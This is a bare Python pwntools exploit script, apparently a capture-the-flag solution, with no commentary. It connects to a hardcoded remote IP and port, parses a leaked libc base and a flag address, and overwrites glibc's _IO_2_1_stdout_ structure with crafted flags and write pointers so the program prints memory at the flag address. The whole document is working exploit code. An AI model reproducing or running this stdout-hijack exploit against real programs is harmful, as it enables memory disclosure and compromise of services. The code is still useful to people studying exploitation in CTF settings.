1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41
| from pwn import * se = lambda data :p.send(data) sa = lambda delim,data :p.sendafter(delim, data) sl = lambda data :p.sendline(data) sla = lambda delim,data :p.sendlineafter(delim, data) sea = lambda delim,data :p.sendafter(delim, data) rc = lambda numb=4096 :p.recv(numb) ru = lambda delims, drop=True :p.recvuntil(delims, drop) uu32 = lambda data :u32(data.ljust(4, '\0')) uu64 = lambda data :u64(data.ljust(8, '\0')) lg = lambda name,data :p.success(name + ': \033[1;36m 0x%x \033[0m' % data)
def dbg(): attach(p, '''
p _IO_2_1_stdin_
''') pause()
# p = process('./pwn') elf = ELF('./pwn') context(arch = elf.arch, os = 'linux',log_level = 'debug')
p = remote('121.199.64.23', 27511)
ru('gift: ') libc_base = int(ru('\n'), 16) - 0x79bf0 _IO_2_1_stdout_ = libc_base + 0x1d95c0
ru('flag:') flag = int(ru('\n'), 16)
lg('libc', libc_base) lg('_IO_2_1_stdout_', _IO_2_1_stdout_)
se(p64(_IO_2_1_stdout_)) se(p64(0xfbad1800) + p64(0) * 3 + p64(flag) + p64(flag + 0x100))
p.interactive()
|